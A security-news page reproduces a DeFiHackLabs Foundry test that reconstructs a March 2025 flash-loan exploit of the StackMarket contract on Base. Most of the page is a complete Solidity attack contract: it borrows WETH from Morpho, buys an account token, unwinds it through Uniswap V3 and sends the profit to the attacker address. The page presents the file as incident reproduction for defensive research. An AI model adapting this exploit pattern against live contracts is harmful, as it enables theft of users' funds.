Skip to content
THREATWIRE

Public reproduction file

src/test/2025-03/StackMarket_exp.sol

Public reproduction file for dataset entry StackMarket.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-03/StackMarket_exp.sol135 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 0.56 WETH
8// Attacker : 0x97d8170e04771826a31c4c9b81e9f9191a1c8613
9// Attack Contract : 0xc494dc1fe2c84cf7206562783edeeecd91c37715
10// Vulnerable Contract : 0x555555555a4161c1c0ba310fc1c993086d3de042
11// Attack Tx : https://basescan.org/tx/0x859a266d371188807e317fc214cd0d649575019808eeaee02ae1824a4d2694e2
13// @Info
14// Vulnerable Contract Code : https://basescan.org/address/0x555555555a4161c1c0ba310fc1c993086d3de042#code
16// @Analysis
17// Twitter Guy : https://t.me/defimon_alerts/575
18//
19// Attack summary: A transient helper borrowed WETH from Morpho, bought a StackMarket
20// account token with the borrowed ETH, swapped the account token back to WETH, repaid
21// Morpho, and forwarded the residual WETH to the attacker.
22// Root cause: StackMarket's buy/liquidity path could be flash-loan driven for a
23// target account token and unwound through the corresponding Uniswap V3 pool at a profit.
25address constant ATTACKER = 0x97d8170e04771826A31C4c9B81E9f9191a1C8613;
26address constant MORPHO_BLUE = 0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb;
27address constant WETH_TOKEN = 0x4200000000000000000000000000000000000006;
28address constant STACK_MARKET = 0x555555555A4161c1C0bA310fc1c993086D3de042;
29address constant BASE_SWAP_ROUTER = 0x2626664c2603336E57B271c5C0b26F421741e481;
30address constant TARGET_ACCOUNT = 0x96a3a3d77ED4e089DE1De91ab612825Bf33d3490;
32uint24 constant POOL_FEE = 500;
34interface IStackMarket {
35 function getAccountToken(address account) external view returns (address);
36 function buy(address account, uint256 amount, uint160 sqrtPriceLimitX96) external payable;
39interface IBaseSwapRouter {
40 struct ExactInputSingleParams {
41 address tokenIn;
42 address tokenOut;
43 uint24 fee;
44 address recipient;
45 uint256 amountIn;
46 uint256 amountOutMinimum;
47 uint160 sqrtPriceLimitX96;
48 }
50 function exactInputSingle(
51 ExactInputSingleParams calldata params
52 ) external payable returns (uint256 amountOut);
55contract ContractTest is BaseTestWithBalanceLog {
56 function setUp() public {
57 uint256 forkBlock = 27_309_556;
58 vm.createSelectFork("base", forkBlock);
59 fundingToken = WETH_TOKEN;
60 attacker = ATTACKER;
62 vm.label(ATTACKER, "Attacker");
63 vm.label(MORPHO_BLUE, "Morpho Blue");
64 vm.label(WETH_TOKEN, "WETH");
65 vm.label(STACK_MARKET, "StackMarket");
66 vm.label(BASE_SWAP_ROUTER, "Base Uniswap V3 Router");
67 vm.label(TARGET_ACCOUNT, "Target StackMarket Account");
68 }
70 function testExploit() public balanceLog {
71 uint256 beforeBalance = IERC20(WETH_TOKEN).balanceOf(ATTACKER);
73 vm.startPrank(ATTACKER, ATTACKER);
74 StackMarketAttack attack = new StackMarketAttack();
75 uint256 flashAmount = 26.88 ether;
76 attack.start(TARGET_ACCOUNT, flashAmount);
77 vm.stopPrank();
79 uint256 afterBalance = IERC20(WETH_TOKEN).balanceOf(ATTACKER);
80 assertGt(afterBalance, beforeBalance, "attacker WETH profit");
81 }
84contract StackMarketAttack {
85 address private immutable owner;
87 constructor() {
88 owner = msg.sender;
89 }
91 receive() external payable {}
93 function start(address account, uint256 amount) external {
94 require(msg.sender == owner, "only owner");
96 // step 1: authorize Morpho to pull the flash-loan repayment.
97 IERC20(WETH_TOKEN).approve(MORPHO_BLUE, type(uint256).max);
98 IMorphoBuleFlashLoan(MORPHO_BLUE).flashLoan(WETH_TOKEN, amount, abi.encode(account));
100 // step 5: forward the remaining WETH profit to the attacker.
101 IERC20(WETH_TOKEN).transfer(owner, IERC20(WETH_TOKEN).balanceOf(address(this)));
102 }
104 function onMorphoFlashLoan(uint256 assets, bytes calldata data) external {
105 require(msg.sender == MORPHO_BLUE, "only Morpho");
106 address account = abi.decode(data, (address));
108 // step 2: resolve and approve the StackMarket account token.
109 address accountToken = IStackMarket(STACK_MARKET).getAccountToken(account);
110 IERC20(accountToken).approve(STACK_MARKET, type(uint256).max);
112 // step 3: buy the account token with flash-loaned WETH unwrapped to ETH.
113 IWETH(payable(WETH_TOKEN)).withdraw(assets);
114 IStackMarket(STACK_MARKET).buy{value: assets}(account, 1, 0);
116 // step 4: unwind all acquired account tokens back into WETH.
117 uint256 tokenBalance = IERC20(accountToken).balanceOf(address(this));
118 IERC20(accountToken).approve(BASE_SWAP_ROUTER, type(uint256).max);
119 IBaseSwapRouter(BASE_SWAP_ROUTER).exactInputSingle(
120 IBaseSwapRouter.ExactInputSingleParams({
121 tokenIn: accountToken,
122 tokenOut: WETH_TOKEN,
123 fee: POOL_FEE,
124 recipient: address(this),
125 amountIn: tokenBalance,
126 amountOutMinimum: 0,
127 sqrtPriceLimitX96: 0
128 })
129 );
131 if (address(this).balance > 0) {
132 IWETH(payable(WETH_TOKEN)).deposit{value: address(this).balance}();
133 }
134 }

Analysis

Dataset entry

Public Foundry test for “StackMarket” (2025-03-07). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

18 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x97d8170e04771826a31c4c9b81e9f9191a1c8613

  • Attack Contract

    0xc494dc1fe2c84cf7206562783edeeecd91c37715

  • Vulnerable Contract

    0x555555555a4161c1c0ba310fc1c993086d3de042

  • Attack Tx

    0x859a266d371188807e317fc214cd0d649575019808eeaee02ae1824a4d2694e2

File record

Name
StackMarket
Path
src/test/2025-03/StackMarket_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
ca449c9475456669d57c64f80f814cb07add514e
Language
Solidity
Size
136 lines
Date
2025-03-07
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2025-03/StackMarket_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob ca449c9475456669d57c64f80f814cb07add514e, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.